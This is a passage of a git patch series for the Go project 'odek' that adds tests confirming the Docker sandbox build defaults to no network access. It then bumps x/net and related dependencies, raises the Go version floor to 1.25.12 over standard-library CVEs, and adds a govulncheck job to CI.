os.Unsetenv("ODEK_SANDBOX_BUILD_NETWORK") + args := dockerBuildArgs("odek-sandbox:test") + joined := strings.Join(args, " ") + if !strings.Contains(joined, "--network=none") { + t.Errorf("dockerBuildArgs default = %q, want --network=none", joined) + } + for _, want := range []string{"-t", "odek-sandbox:test", "-f", DockerfileName} { + if !strings.Contains(joined, want) { + t.Errorf("dockerBuildArgs = %q, missing %q", joined, want) + } + } +} + +func TestDockerBuildArgs_NetworkOptIn(t *testing.T) { + t.Setenv("ODEK_SANDBOX_BUILD_NETWORK", "1") + args := dockerBuildArgs("odek-sandbox:test") + if strings.Contains(strings.Join(args, " "), "--network=none") { + t.Errorf("dockerBuildArgs with ODEK_SANDBOX_BUILD_NETWORK=1 = %q, want no --network=none", strings.Join(args, " ")) + } +} From dbaca64c35643923023364d37f038261ca7dc2d3 Mon Sep 17 00:00:00 2001 From: Rolando Santamaria Maso Date: Sun, 26 Jul 2026 10:58:41 +0200 Subject: [PATCH 2/2] chore(deps): bump x/net to v0.57.0, raise Go floor to 1.25.12, add govulncheck CI Addresses two dependency-floor findings: 5. golang.org/x/net v0.54.0 carried ~7 published advisories (fixed in v0.55.0/v0.56.0). None were reachable through odek's call graph, but the constraint permitted the vulnerable version. Bumped to v0.57.0 (with x/term v0.45.0 and x/sys v0.47.0 as required companions) and added a govulncheck job to CI so future advisories fail the build. 6. go.mod declared go 1.25.0; scanning with early 1.25.x toolchains traces 22 reachable stdlib CVEs (crypto/tls, crypto/x509, net/http, net/url, net, os, encoding/pem, encoding/asn1), fixed across Go 1.25.2-1.25.12. Raised the go directive to 1.25.12 (verified as the latest 1.25.x patch via go.dev/dl) and stated the minimum build toolchain in the README, docs/DEVELOPMENT.md, and the test/release workflows. Verified: govulncheck reports zero reachable module vulnerabilities after the bump; the single remaining local stdlib report (GO-2026-5856) is fixed in exactly 1.25.12 per the vuln DB and only appears because the local scanning toolchain (go1.26.4) is one patch behind. Full test suite, vet, and golangci-lint pass with the bumped dependencies. --- .github/workflows/release.yml | 2 ++ .github/workflows/test.yml | 18 ++++++++++++++++++ README.md | 4 +++- docs/DEVELOPMENT.md | 2 +- go.mod | 8 ++++---- go.sum | 12 ++++++------ 6 files changed, 34 insertions(+), 12 deletions(-) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 1db4d57..cff18d5 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -16,6 +16,8 @@ jobs: - uses: actions/setup-go@v5 with: + # Minimum supported build toolchain is Go 1.25.12 (go.mod floor); + # "1.25" resolves to the latest 1.25.x patch release. go-version: "1.25" - name: build diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 34af7a4..4f6dc16 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -14,6 +14,8 @@ jobs: - uses: actions/setup-go@v5 with: + # Minimum supported build toolchain is Go 1.25.12 (go.mod floor); + # "1.25" resolves to the latest 1.25.x patch release. go-version: "1.25" - name: build @@ -42,3 +44,19 @@ jobs: with: version: v2.12.2 args: --timeout=10m + + vuln: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - uses: actions/setup-go@v5 + with: + # Latest stable toolchain: stdlib advisories are assessed against + # the newest patch release, and module advisories (e.g. x/net) are + # toolchain-independent. The go.mod floor (go 1.25.12) pins the + # minimum toolchain for downstream builders. + go-version: "stable" + + - name: govulncheck + run: go run golang.org/x/vuln/cmd/govulncheck@latest ./... diff --git a/README.md b/README.md index 80d24ce..a5faad4 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ One binary. One loop. Zero frameworks. ReAct (Reasoning + Acting) — think, therefore act. ```bash -# Install +# Install (requires Go ≥ 1.25.12 — see "Build requirements" below) go install github.com/BackendStack21/odek/cmd/odek@latest # Use (set ODEK_API_KEY, DEEPSEEK_API_KEY, or OPENAI_API_KEY) @@ -14,6 +14,8 @@ odek run "How many lines in go.mod?" # → 3 lines ``` +**Build requirements:** Go **1.25.12 or newer**. The `go` directive in `go.mod` pins this floor because earlier 1.25.x toolchains ship reachable standard-library CVEs; CI additionally runs `govulncheck` on every push/PR so new advisories fail the build. + --- ## Why odek diff --git a/docs/DEVELOPMENT.md b/docs/DEVELOPMENT.md index 34f6a3b..48c26a7 100644 --- a/docs/DEVELOPMENT.md +++ b/docs/DEVELOPMENT.md @@ -8,7 +8,7 @@ no maintained changelog file — create a release/tag and GitHub produces the no ## Prerequisites -- Go 1.25+ (matches `go.mod`; CI builds with the same toolchain) +- Go 1.25.12+ (matches `go.mod`; CI builds with the same toolchain line and runs `govulncheck` on every push/PR) - Docker (for sandbox integration tests only) ## Building diff --git a/go.mod b/go.mod index 3aec69e..053afbc 100644 --- a/go.mod +++ b/go.mod @@ -1,12 +1,12 @@ module github.com/BackendStack21/odek -go 1.25.0 +go 1.25.12 require ( github.com/BackendStack21/go-mcp v1.1.0 github.com/BackendStack21/go-vector v1.3.0 - golang.org/x/net v0.54.0 - golang.org/x/term v0.43.0 + golang.org/x/net v0.57.0 + golang.org/x/term v0.45.0 ) -require golang.org/x/sys v0.44.0 +require golang.org/x/sys v0.47.0 diff --git a/go.sum b/go.sum index 9b7a206..f1591f1 100644 --- a/go.sum +++ b/go.sum @@ -2,9 +2,9 @@ github.com/BackendStack21/go-mcp v1.1.0 h1:NQStOkqUWjzzzmySnfFHvPKhbKr92iBuPJjkN github.com/BackendStack21/go-mcp v1.1.0/go.mod h1:RKFw6nrl6ySQqqrR8KtG7HYZ/heyyjT8SjiEtlbTMY8= github.com/BackendStack21/go-vector v1.3.0 h1:VT1cwPAUzkg3Rt0fXA+jTzW472jgObqs85/TcPs4N7Q= github.com/BackendStack21/go-vector v1.3.0/go.mod h1:TkxZEqKGeN38QNWUoQt4xJcf6n2kI1pY7nu6ibXK1Yo= -golang.org/x/net v0.54.0 h1:2zJIZAxAHV/OHCDTCOHAYehQzLfSXuf/5SoL/Dv6w/w= -golang.org/x/net v0.54.0/go.mod h1:Sj4oj8jK6XmHpBZU/zWHw3BV3abl4Kvi+Ut7cQcY+cQ= -golang.org/x/sys v0.44.0 h1:ildZl3J4uzeKP07r2F++Op7E9B29JRUy+a27EibtBTQ= -golang.org/x/sys v0.44.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= -golang.org/x/term v0.43.0 h1:S4RLU2sB31O/NCl+zFN9Aru9A/Cq2aqKpTZJ6B+DwT4= -golang.org/x/term v0.43.0/go.mod h1:lrhlHNdQJHO+1qVYiHfFKVuVioJIheAc3fBSMFYEIsk= +golang.org/x/net v0.57.0 h1:K5+3DljvIuDG9/Jv9rvyMywYNFCQ9RSUY6OOTTkT+tE= +golang.org/x/net v0.57.0/go.mod h1:KpXc8iv+r3XplLAG/f7Jsf9RPszJzdR0f58q9vGOuEU= +golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs= +golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +golang.org/x/term v0.45.0 h1:NwWyBmoJCbfTHpxrWoZ9C6/VxOf7ic219I8xZZFdrf0= +golang.org/x/term v0.45.0/go.mod h1:9aqxs0blBcrm/n0L9QW0aRVD+ktan8ssZromtqJC43w=